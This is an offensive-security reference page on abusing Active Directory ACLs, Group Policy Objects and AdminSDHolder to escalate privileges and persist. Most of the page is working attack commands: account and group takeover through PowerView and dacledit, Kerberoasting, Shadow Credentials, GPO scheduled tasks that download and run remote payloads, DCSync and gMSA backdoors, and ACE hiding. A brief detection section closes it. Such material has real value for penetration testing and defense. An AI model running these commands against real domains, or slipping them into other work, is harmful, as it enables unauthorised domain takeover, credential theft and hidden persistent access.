Back to Home

ACL & Group Policy Abuse

Leverage misconfigured Access Control Lists and Group Policy Objects to achieve privilege escalation, lateral movement, and persistent domain control. From DACL manipulation to GPO-based code execution, these techniques exploit the very mechanisms designed to protect Active Directory.

ACL

Active Directory ACL Abuse

Access Control Lists (ACLs) define permissions on Active Directory objects through Access Control Entries (ACEs). Each ACE specifies what actions a security principal can perform on an object. When misconfigured, these permissions become powerful attack primitives for privilege escalation and persistence.

⚠️ Understanding DACLs and Security Descriptors

Every Active Directory object has a Security Descriptor containing the Discretionary Access Control List (DACL), System Access Control List (SACL), and object owner. The DACL contains ACEs that grant or deny specific permissions. The owner of an object implicitly has WRITE_DAC and READ_CONTROL — not WRITE_OWNER automatically, but since WRITE_DAC allows modifying the DACL itself, the owner can add, remove, or replace any ACE including Deny ACEs, and then grant themselves any permission they need including GenericAll. This is documented in depth in the An ACE Up the Sleeve whitepaper by Will Schroeder & Andy Robbins.

Critical ACL Rights for Exploitation

GenericAll CRITICAL

Grants complete control over an object, including all standard and extended rights. This is equivalent to Full Control and implicitly includes WriteDACL, WriteOwner, and all object-specific permissions.

Attack Scenarios:
  • On User: Reset password, modify SPNs for Kerberoasting, inject Shadow Credentials, modify group membership
  • On Group: Add members to privileged groups (Domain Admins, Enterprise Admins)
  • On Computer: Resource-Based Constrained Delegation (RBCD) attacks, reset computer password
  • On GPO: Modify SYSVOL file contents (e.g. ScheduledTasks.xml) or GPO attributes (e.g. gPCMachineExtensionNames) to inject malicious tasks or scripts
  • On OU: Create child objects (requires CREATE_CHILD), link GPOs or modify gPLink (requires WRITE_PROPERTY) — GenericAll includes both
PowerShell - Add user to Domain Admins with GenericAll
# Enumerate GenericAll on Domain Admins group
Get-ObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "GenericAll" -and
    $_.SecurityIdentifier -match "S-1-5-21-.*"
}

# Add controlled user to Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members 'attacker' -Verbose

# Verify membership
Get-NetGroupMember -GroupName "Domain Admins"
Python - Impacket dacledit for GenericAll
# Grant GenericAll to controlled user on target
dacledit.py -action 'write' -rights 'FullControl' \
    -principal 'controlled_user' \
    -target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' \
    'domain'/'user':'password'

# Add user to group
bloodyAD.py -d domain.local -u user -p password \
    --host dc01.domain.local \
    add groupMember 'Domain Admins' 'attacker'
GenericWrite CRITICAL

Per the MS-ADTS spec, GenericWrite maps to READ_CONTROL + DS_WRITE_PROP (write all properties) + validated writes — it does not include WRITE_DAC, WRITE_OWNER, or DELETE. DS_WRITE_PROP only covers attributes writable for that object class, but in practice this includes the security-critical attributes listed below.

High-Value Attacks:
  • Shadow Credentials: Modify msDS-KeyCredentialLink to inject certificate for authentication — use Whisker
  • Targeted Kerberoasting: Set servicePrincipalName on user accounts to make them Kerberoastable
  • Logon Script Injection: Modify scriptPath attribute to execute malicious code at logon
  • RBCD: On computer objects, write msDS-AllowedToActOnBehalfOfOtherIdentity — requires target running Server 2012+ and attacker controlling a principal with an SPN. See Wagging the Dog by Elad Shamir
PowerShell - Shadow Credentials Attack
# Using Whisker to exploit GenericWrite for Shadow Credentials
.\Whisker.exe add /target:targetuser /domain:domain.local /dc:dc01.domain.local

# Certificate and NTLM hash returned
# Use Rubeus to request TGT with certificate
.\Rubeus.exe asktgt /user:targetuser /certificate:[Base64Certificate] /password:"[CertPassword]" /nowrap

# Authenticate as target user with TGT
PowerShell - Targeted Kerberoasting
# Set SPN on target user with GenericWrite
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='http/fake.domain.local'}

# Kerberoast the account
.\Rubeus.exe kerberoast /user:targetuser /nowrap

# Crack the hash offline
hashcat -m 13100 hash.txt wordlist.txt

# Clean up - Remove the SPN
Set-DomainObject -Identity targetuser -Clear serviceprincipalname
WriteDACL CRITICAL

The ability to modify the Discretionary Access Control List on an object. This allows an attacker to add or remove specific ACEs — including removing existing Deny ACEs — and grant themselves any permission over the object, including GenericAll.

Attack Chain:
1
Enumerate WriteDACL
Find objects where controlled principal has WriteDACL permission
2
Grant GenericAll
Modify the DACL to give controlled user GenericAll on target object
3
Exploit GenericAll
Use full control to compromise target (reset password, add to group, etc.)
PowerShell - Grant Full Control with WriteDACL
# Grant GenericAll to controlled user
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity 'attacker' -Rights All -Verbose

# Alternative - Grant specific rights
Add-DomainObjectAcl -TargetIdentity "targetuser" -PrincipalIdentity 'attacker' -Rights ResetPassword

# For GPO objects
Add-DomainObjectAcl -TargetIdentity "DefaultDomainPolicy" -PrincipalIdentity 'attacker' -Rights All
Python - dacledit.py for DACL Modification
# Grant DCSync rights (Replicating Directory Changes)
dacledit.py -action 'write' -rights 'DCSync' \
    -principal 'attacker' \
    -target-dn 'DC=domain,DC=local' \
    'domain.local'/'user':'password'

# Grant Full Control on user object
dacledit.py -action 'write' -rights 'FullControl' \
    -principal 'attacker' \
    -target-dn 'CN=targetuser,CN=Users,DC=domain,DC=local' \
    'domain.local'/'user':'password'
WriteOwner HIGH

Allows changing the owner of an object. Since the owner implicitly has WriteDACL rights (which can be used to grant themselves any permission), this is a powerful takeover primitive. By default, a user can only take ownership of objects they already own, or must hold SeTakeOwnershipPrivilege. SeRestorePrivilege allows assigning ownership to another principal.

PowerShell - Ownership Takeover Chain
# Change owner to controlled user
Set-DomainObjectOwner -Identity 'targetuser' -OwnerIdentity 'attacker'

# Owner holds WriteDACL and ReadControl — use WriteDACL to grant explicit GenericAll
Add-DomainObjectAcl -TargetIdentity 'targetuser' -PrincipalIdentity 'attacker' -Rights All

# Abuse GenericAll (e.g., reset password)
$SecPassword = ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'targetuser' -AccountPassword $SecPassword
ForceChangePassword / AllExtendedRights CRITICAL

The User-Force-Change-Password extended right allows resetting a user's password without knowing the current password. AllExtendedRights grants all extended rights defined on the target object's class — the specific rights depend entirely on what object you hold it over. On a user object: ForceChangePassword, SendAs. On a group: self-membership. On the domain root object (DC=domain,DC=com): the replication rights required for DCSync (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, DS-Replication-Get-Changes-In-Filtered-Set). AllExtendedRights on most objects does not include DCSync — only on the domain root.

PowerShell - Force Password Reset
# Using PowerView
$SecPassword = ConvertTo-SecureString 'NewP@ssw0rd123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'targetuser' -AccountPassword $SecPassword -Verbose

# Using native AD cmdlet
Set-ADAccountPassword -Identity 'targetuser' -Reset -NewPassword (ConvertTo-SecureString 'NewP@ssw0rd123!' -AsPlainText -Force)

# Authenticate as compromised user
runas /user:domain\targetuser cmd.exe
Linux - rpcclient for Password Reset
# Using rpcclient from Linux
rpcclient -U 'domain/attacker%password' dc01.domain.local -c "setuserinfo2 targetuser 23 'NewP@ssw0rd123!'"

# Or via net rpc
net rpc password targetuser 'NewP@ssw0rd123!' -U 'domain/attacker%password' -S dc01.domain.local
Self (Self-Membership) HIGH

The SELF access right on a group's member attribute — formally the control access right named Add/Remove Self as Member in AD — allows a principal to add themselves to the group. PowerView surfaces this as the friendly name "Self-Membership," which is why the PowerShell filter below matches on that string. This is commonly found on groups where users need to self-enroll for specific access.

PowerShell - Self-Membership Abuse
# Check for Self permission on groups
Get-ObjectAcl -ResolveGUIDs | Where-Object {
    $_.ObjectAceType -match 'Self-Membership' -and 
    $_.ActiveDirectoryRights -match 'Self'
}

# Add yourself to the group
net group "IT Administrators" attacker /add /domain

# Or using PowerView
Add-DomainGroupMember -Identity "IT Administrators" -Members 'attacker'
GPO

Group Policy Object (GPO) Abuse

Group Policy Objects provide centralized configuration management for Active Directory environments. When attackers gain control over GPOs through ACL misconfigurations or GPO delegation, they can execute code at scale on all computers and users affected by the policy. See MITRE ATT&CK T1484.001.

⚠️ Widespread Impact

GPO abuse is particularly dangerous because policies are applied automatically during background refresh cycles (default: every 90 minutes for workstations/servers, 5 minutes for domain controllers). A single malicious GPO modification can compromise hundreds or thousands of machines across the domain within hours.

GPO Exploitation Techniques

Scheduled Tasks via GPO CRITICAL

GPOs can deploy Immediate Scheduled Tasks that execute as NT AUTHORITY\SYSTEM on target computers. This is the most common GPO abuse technique for gaining SYSTEM-level code execution across the domain. Tools like SharpGPOAbuse (Windows) and pyGPOAbuse (Linux) automate this.

Attack Path:
  • Attacker gains edit rights on GPO (via GenericAll, GenericWrite, or specific GPO delegation)
  • Modify GPO to create immediate scheduled task in ScheduledTasks.xml
  • Task executes arbitrary command as SYSTEM on all computers linked to GPO
  • Commonly used to: download and execute malware, add local admin, exfiltrate credentials, establish C2
PowerShell - SharpGPOAbuse for Scheduled Task
# Add local administrator via GPO scheduled task
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Default Domain Policy"

# Execute custom command via GPO
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "UpdateTask" --Author "DOMAIN\Administrator" \
    --Command "cmd.exe" --Arguments "/c powershell.exe -exec bypass -nop -w hidden -c IEX(New-Object Net.WebClient).downloadstring('http://10.10.10.10/payload.ps1')" \
    --GPOName "IT Policy"

# Add user to Domain Admins via GPO (requires user login)
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeDebugPrivilege" --UserAccount attacker --GPOName "Default Domain Policy"
PowerShell - New-GPOImmediateTask
# Create immediate task with PowerView's New-GPOImmediateTask
New-GPOImmediateTask -TaskName "WindowsUpdate" -GPODisplayName "Default Domain Policy" \
    -CommandArguments "-exec bypass -nop -c IEX(New-Object Net.WebClient).downloadstring('http://10.10.10.10/run.ps1')" \
    -Author "DOMAIN\Administrator"

# Force group policy update on target
Invoke-GPUpdate -Computer "DC01" -Force
Python - pyGPOAbuse for Linux
# Add local admin from Linux
python3 pyGPOAbuse.py domain.local/user:password -gpo-id "{31B2F340-016D-11D2-945F-00C04FB984F9}" \
    -dc-ip 192.168.1.10 \
    -command "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

# Execute custom payload
python3 pyGPOAbuse.py domain.local/user:password -gpo-id "{6AC1786C-016F-11D2-945F-00C04fB984F9}" \
    -dc-ip 192.168.1.10 \
    -command "\\\\10.10.10.10\\share\\payload.exe"
Technical Details: ScheduledTasks.xml

GPO scheduled tasks are stored in \\domain.local\SYSVOL\domain.local\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml. The XML file is directly modified to inject malicious tasks. Immediate tasks execute because the GPO client-side extension processes them on every GP refresh cycle (default every 90 minutes, or immediately on gpupdate). The removePolicy="1" attribute controls cleanup — it causes the task to delete itself from Task Scheduler after execution, not what triggers the execution itself.

Group Policy Template Modification (SYSVOL) CRITICAL

GPO settings are stored in two locations: the Group Policy Container (GPC) as an LDAP object, and the Group Policy Template (GPT) as files in the SYSVOL share. Attackers with write access to SYSVOL can directly modify GPT files without needing GPO management permissions.

SYSVOL File Targets:
  • \\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml - Scheduled tasks
  • \\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Preferences\Groups\Groups.xml - Local group membership
  • \\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf - Security settings, user rights assignment
  • \\domain\SYSVOL\domain\Policies\{GPO-GUID}\Machine\Scripts\Startup\ - Startup scripts
  • \\domain\SYSVOL\domain\Policies\{GPO-GUID}\User\Scripts\Logon\ - User logon scripts
Bash - Direct SYSVOL Modification
# Mount SYSVOL share
smbclient '\\dc01.domain.local\SYSVOL' -U 'domain\user%password'

# Navigate to GPO directory
cd domain.local/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Machine/Preferences/ScheduledTasks/

# Download ScheduledTasks.xml, modify locally, re-upload
get ScheduledTasks.xml
# ... edit file to add malicious task ...
put ScheduledTasks.xml
⚠️ SYSVOL Permissions

By default, Domain Users have Read access to SYSVOL. Write access is limited to Domain Admins, SYSTEM, and the owner of each specific GPO's SYSVOL path. However, misconfigurations occur. Always check: icacls \\domain\SYSVOL\domain\Policies

GPO Credential Mining (SYSVOL) HIGH

Group Policy Preferences historically stored passwords for local accounts, services, and scheduled tasks in Groups.xml files within SYSVOL. Microsoft patched this with MS14-025 (May 2014) to prevent new passwords from being stored, but legacy GPP passwords persist in many environments. The AES-256 encryption key was published by Microsoft in their open specification, making all stored passwords trivially decryptable.

PowerShell - Find GPP Passwords
# Search for cpassword attribute in all GPO XML files
Get-ChildItem -Path "\\domain.local\SYSVOL\domain.local\Policies" -Recurse -Include *.xml | 
    Select-String -Pattern "cpassword" | 
    ForEach-Object { $_.Path }

# Using Get-GPPPassword from PowerSploit
Get-GPPPassword -Server dc01.domain.local

# Decrypt cpassword (AES key is publicly known)
# Key: 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b
Linux - gpp-decrypt
# Manually search for Groups.xml files
smbclient '\\dc01.domain.local\SYSVOL' -U 'domain\user' -c 'recurse; ls Policies/*/*/Groups.xml'

# Decrypt found cpassword value
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
Common GPP Locations:
  • Policies\{GPO-GUID}\Machine\Preferences\Groups\Groups.xml - Local users/groups
  • Policies\{GPO-GUID}\Machine\Preferences\DataSources\DataSources.xml - Database connection strings
  • Policies\{GPO-GUID}\Machine\Preferences\Services\Services.xml - Service accounts
  • Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml - Task credentials (legacy only — MS14-025 prevents new passwords being stored)
  • Policies\{GPO-GUID}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf - Security settings (only present if security settings have been configured in the GPO)
GPO Permissions and Delegation HIGH

GPO permissions can be delegated to non-admin users for specific management tasks. Overly permissive delegation creates privilege escalation opportunities. Focus on GenericWrite, GenericAll, WriteDACL, WriteOwner, and Manage Group Policy links permissions. Use BloodHound to identify and visualise these paths.

PowerShell - Enumerate GPO Permissions
# Find GPOs where current user has write permissions
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | 
    Where-Object {
        $_.ActiveDirectoryRights -match "WriteProperty|GenericAll|GenericWrite" -and 
        $_.SecurityIdentifier -match $([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value)
    }

# Using GPOAudit to find weak ACLs
Import-Module GPOAudit
Get-GPOPrivilege

# Check specific GPO permissions
Get-GPPermission -Name "Default Domain Policy" -All
Python - BloodHound for GPO Analysis
# Collect data with SharpHound
.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp

# BloodHound Cypher queries for GPO abuse paths
MATCH p=(u:User)-[r:GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner]->(g:GPO) RETURN p

# Find GPOs linked to Domain Controllers OU
MATCH (g:GPO)-[r:GpLink]->(o:OU) WHERE o.name CONTAINS "DOMAIN CONTROLLERS" RETURN g,r,o
SDH

AdminSDHolder Backdoor Techniques

AdminSDHolder is an Active Directory object (CN=AdminSDHolder,CN=System,DC=domain,DC=com) that serves as a security descriptor template for privileged accounts and groups. A background task called ProtectAdminGroups runs every 60 minutes on the PDC Emulator, compares the security descriptor of each protected object against AdminSDHolder, and resets any differences. Despite what most documentation states — including Microsoft's own Appendix C — SDProp (Security Descriptor Propagator) is a completely separate process: it handles the propagation of inheritable ACEs across all writable DCs and has no direct involvement in AdminSDHolder protection. This conflation is one of the most widespread misconceptions in Active Directory security, documented in detail in Jim Sykora's 150-page whitepaper (SpecterOps, 2025).

How AdminSDHolder Protection Works

Protected groups (Server 2019–2025) include: Account Operators, Administrator (the built-in account), Administrators, Backup Operators, Domain Admins, Domain Controllers, Enterprise Admins, Enterprise Key Admins, Key Admins, KRBTGT, Print Operators, Read-Only Domain Controllers, Replicator, Schema Admins, and Server Operators. The ProtectAdminGroups task uses transitive group expansion, so direct and nested members are both in scope. When processed, their adminCount attribute is set to 1 and inheritance is disabled — though if a nested member's security descriptor already matches AdminSDHolder, the task leaves it untouched and adminCount may remain 0. Important: individual DC and RODC computer objects that are members of the Domain Controllers and Read-Only Domain Controllers groups are purposefully excluded from AdminSDHolder protection. The ProtectAdminGroups task runs every 60 minutes on the PDCe. See Sykora's whitepaper and Sean Metcalf's deep dive for full details.

AdminSDHolder ACL Modification CRITICAL

By modifying the AdminSDHolder object's DACL to grant a controlled user GenericAll or specific rights, attackers ensure that these permissions are automatically propagated to all protected accounts. This provides persistent, self-healing Domain Admin access that survives password resets and group membership removal.

Attack Flow:
1
Gain Domain Admin Access
Initial compromise to modify AdminSDHolder (requires Domain Admin or equivalent)
2
Modify AdminSDHolder DACL
Grant controlled user GenericAll on CN=AdminSDHolder,CN=System,DC=domain,DC=local
3
Wait for AdminSDHolder Task
ProtectAdminGroups task runs hourly on PDCe; or trigger manually with Invoke-ADSDPropagation
4
Persistent Access
Controlled user now has GenericAll on all protected accounts including Domain Admins
PowerShell - Add Backdoor to AdminSDHolder
# Grant GenericAll to controlled user on AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" `
    -PrincipalIdentity 'backdoor_user' `
    -Rights All `
    -Verbose

# Trigger SDProp immediately (optional)
Invoke-ADSDPropagation

# Verify permission was added
Get-ObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=domain,DC=local" -ResolveGUIDs | 
    Where-Object {$_.SecurityIdentifier -match 'S-1-5-21-.*-'}
Python - dacledit for AdminSDHolder
# Add FullControl for persistence
dacledit.py 'domain.local/admin:password' \
    -action 'write' \
    -rights 'FullControl' \
    -principal 'backdoor_user' \
    -target-dn 'CN=AdminSDHolder,CN=System,DC=domain,DC=local'

# Read AdminSDHolder DACL to verify
dacledit.py 'domain.local/admin:password' \
    -action 'read' \
    -target-dn 'CN=AdminSDHolder,CN=System,DC=domain,DC=local'
PowerShell - Manual AdminSDHolder Trigger
# Force AdminSDHolder ProtectAdminGroups task to run immediately (requires elevated access)
# Method 1: Invoke-ADSDPropagation.ps1
Import-Module .\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagation

# Method 2: Trigger runProtectAdminGroupsTask via rootDSE modify operation
# This triggers the AdminSDHolder ProtectAdminGroups task — NOT SDProp
# (AdminSDProtectFrequency controls this interval, default 3600 seconds = 1 hour)
# Change to 60 seconds
$RootDSE = [ADSI]"LDAP://RootDSE"
$ConfigNC = $RootDSE.configurationNamingContext
$DSPSC = [ADSI]"LDAP://CN=Directory Service,CN=Windows NT,CN=Services,$ConfigNC"
$DSPSC.Put("runProtectAdminGroupsTask", 60)
$DSPSC.SetInfo()

# Wait 60 seconds, then restore to 3600
Start-Sleep -Seconds 60
$DSPSC.Put("runProtectAdminGroupsTask", 3600)
$DSPSC.SetInfo()
⚠️ Detection & Remediation

Monitor Event ID 5136 (Directory Service Changes) for modifications to CN=AdminSDHolder. The backdoor persists indefinitely unless the malicious ACE is manually removed from AdminSDHolder. Simply removing the user from Domain Admins does not remediate the backdoor — it will re-grant permissions on the next AdminSDHolder ProtectAdminGroups cycle (within 60 minutes on the PDCe).

adminCount Attribute — A Common Misconception MEDIUM

The adminCount attribute is set to 1 by the AdminSDHolder ProtectAdminGroups task as a marker on accounts it has processed — it is an output, not an input. The ProtectAdminGroups task determines which accounts to protect by checking group membership in the protected groups list, not by reading adminCount. Manually setting adminCount=1 on a backdoor account does not cause AdminSDHolder to protect it or propagate AdminSDHolder permissions to it.

The real risk of adminCount is residual orphaned accounts: if a user is removed from all protected groups, their adminCount remains 1 and ACL inheritance stays disabled. These orphaned accounts have a non-standard security posture and should be cleaned up regularly.

PowerShell - Find Orphaned adminCount=1 Accounts
# Find accounts with adminCount=1 not in any protected group
# These are "orphaned" - they had the marker set but may no longer be protected
Get-ADUser -Filter {adminCount -eq 1} -Properties adminCount, MemberOf | 
    Where-Object { 
        $_.MemberOf -notmatch "Domain Admins|Enterprise Admins|Schema Admins|Administrators"
    } | Select-Object SamAccountName, DistinguishedName

# Clean up: re-enable inheritance and clear adminCount
$user = Get-ADUser "orphaned_user" -Properties nTSecurityDescriptor
$acl = $user.nTSecurityDescriptor
$acl.SetAccessRuleProtection($false, $true)  # Re-enable inheritance
Set-ADUser "orphaned_user" -Replace @{adminCount=0}
PST

DACL-Based Persistence Mechanisms

Access Control List manipulation provides stealthy, malware-free persistence that survives OS reinstalls and doesn't require code execution. These techniques modify security descriptors to maintain privileged access.

ACE Hiding and Descriptor Obfuscation HIGH

Advanced persistence involves hiding malicious ACEs by modifying object ownership and setting Deny ReadProperty ACEs on specific attributes, making it difficult for defenders to enumerate backdoored permissions.

Stealth Techniques:
  • Owner Modification: Change object owner to backdoor account — owner holds WriteDACL and ReadControl, which is sufficient to grant themselves GenericAll
  • Deny ACEs: Add Deny ReadProperty on nTSecurityDescriptor to hinder DACL enumeration by standard tools — note this may break legitimate admin tools and does not prevent low-level LDAP or SYSTEM-level reads
  • Hide Principal: Set Deny ListChildren on container to hide backdoor account from normal queries
  • Inheritance Abuse: Set WriteDACL with inheritance flags on OUs to propagate backdoor to child objects
PowerShell - Hide Security Descriptor
# Change owner to backdoor user
Set-DomainObjectOwner -Identity 'targetobject' -OwnerIdentity 'backdoor_user'

# Add Deny ReadProperty on nTSecurityDescriptor
# This prevents most tools from reading the DACL
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    (New-Object System.Security.Principal.NTAccount 'DOMAIN\Domain Admins'),
    [System.DirectoryServices.ActiveDirectoryRights]::ReadProperty,
    [System.Security.AccessControl.AccessControlType]::Deny,
    [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
)

# Note: This is advanced and may break legitimate access
Container and OU Inheritance Backdoors HIGH

Setting inherited ACEs at the container or OU level allows backdoors to automatically apply to all child objects, including newly created ones. This is particularly powerful when combined with WriteDACL on high-level OUs.

PowerShell - Inheritable ACE Backdoor
# Grant GenericAll with inheritance on OU
Add-DomainObjectAcl -TargetIdentity "OU=Servers,DC=domain,DC=local" `
    -PrincipalIdentity 'backdoor_user' `
    -Rights GenericAll `
    -InheritanceType All `
    -Verbose

# All current and future objects in this OU will inherit the permission
Python - dacledit with Inheritance
# Using Impacket's dacledit with -inheritance flag
dacledit.py 'domain.local/admin:password' \
    -action 'write' \
    -rights 'GenericAll' \
    -principal 'backdoor_user' \
    -target-dn 'OU=Workstations,DC=domain,DC=local' \
    -inheritance
DCSync Persistence via Replication Rights CRITICAL

Instead of dumping credentials and leaving, attackers can grant themselves permanent DCSync rights (Replicating Directory Changes + Replicating Directory Changes All). This allows password hash extraction at any time without requiring Domain Admin access, using tools like Impacket's secretsdump or Mimikatz.

PowerShell - Grant DCSync Rights
# Grant Replicating Directory Changes rights
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
    -PrincipalIdentity 'backdoor_user' `
    -Rights DCSync `
    -Verbose

# Alternative: Explicitly grant both extended rights
$Guids = @(
    '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', # DS-Replication-Get-Changes
    '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
)

foreach ($Guid in $Guids) {
    Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
        -PrincipalIdentity 'backdoor_user' `
        -Rights ExtendedRight `
        -RightsGUID $Guid
}
Python - Persistent DCSync Access
# Grant both replication rights
dacledit.py 'domain.local/admin:password' \
    -action 'write' \
    -rights 'DCSync' \
    -principal 'backdoor_user' \
    -target-dn 'DC=domain,DC=local'

# Backdoor user can now DCSync anytime
secretsdump.py 'domain.local/backdoor_user:[email protected]' -just-dc-ntlm
Group Managed Service Account (gMSA) Backdoors HIGH

Attackers with GenericWrite or GenericAll on a gMSA can modify the msDS-GroupMSAMembership attribute to grant themselves or a controlled computer the ability to retrieve the gMSA password. This is particularly valuable for persistence on service accounts.

PowerShell - gMSA Password Retrieval
# Modify msDS-GroupMSAMembership to allow controlled computer to read password
Set-ADServiceAccount -Identity 'sqlgmsa$' -PrincipalsAllowedToRetrieveManagedPassword 'ATTACKER-PC$'

# From ATTACKER-PC, retrieve gMSA password
$gmsa = Get-ADServiceAccount -Identity 'sqlgmsa$' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
$ntHash = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
DEF

Defense & Detection Strategies

Defending against ACL and GPO abuse requires a multi-layered approach combining preventive controls, continuous monitoring, and regular auditing.

Preventive Controls
  • Implement Tier 0 administrative model - separate privileged access
  • Apply principle of least privilege - remove unnecessary ACL grants
  • Use Protected Users group for sensitive accounts
  • Verify inheritance is disabled on AdminSDHolder (it is by default — confirm it has not been re-enabled)
  • Regular ACL audits with BloodHound or PingCastle
  • Implement GPO change approval process
  • Restrict SYSVOL write permissions to Domain Admins only
Detection & Monitoring
  • Event ID 5136: Directory Service Changes (AdminSDHolder, ACL modifications)
  • Event ID 4662: Operation performed on an object (DCSync attempts)
  • Event ID 5145: Detailed File Share (SYSVOL modifications)
  • Monitor ScheduledTasks.xml and GptTmpl.inf file changes
  • Alert on adminCount attribute changes
  • Track GPO version number changes
  • Baseline AdminSDHolder DACL and alert on deviations
Auditing Tools
Hardening Measures
⚠️ Key Detection Gaps

Most organizations lack proper auditing of ACL changes. Event ID 5136 is not enabled by default in many environments. Without this logging, ACL-based persistence is effectively invisible. Additionally, SDProp runs silently and legitimate-looking ACEs on AdminSDHolder can persist for years undetected.

REF

Tools & References

Offensive Tools

Defensive Tools

Essential Reading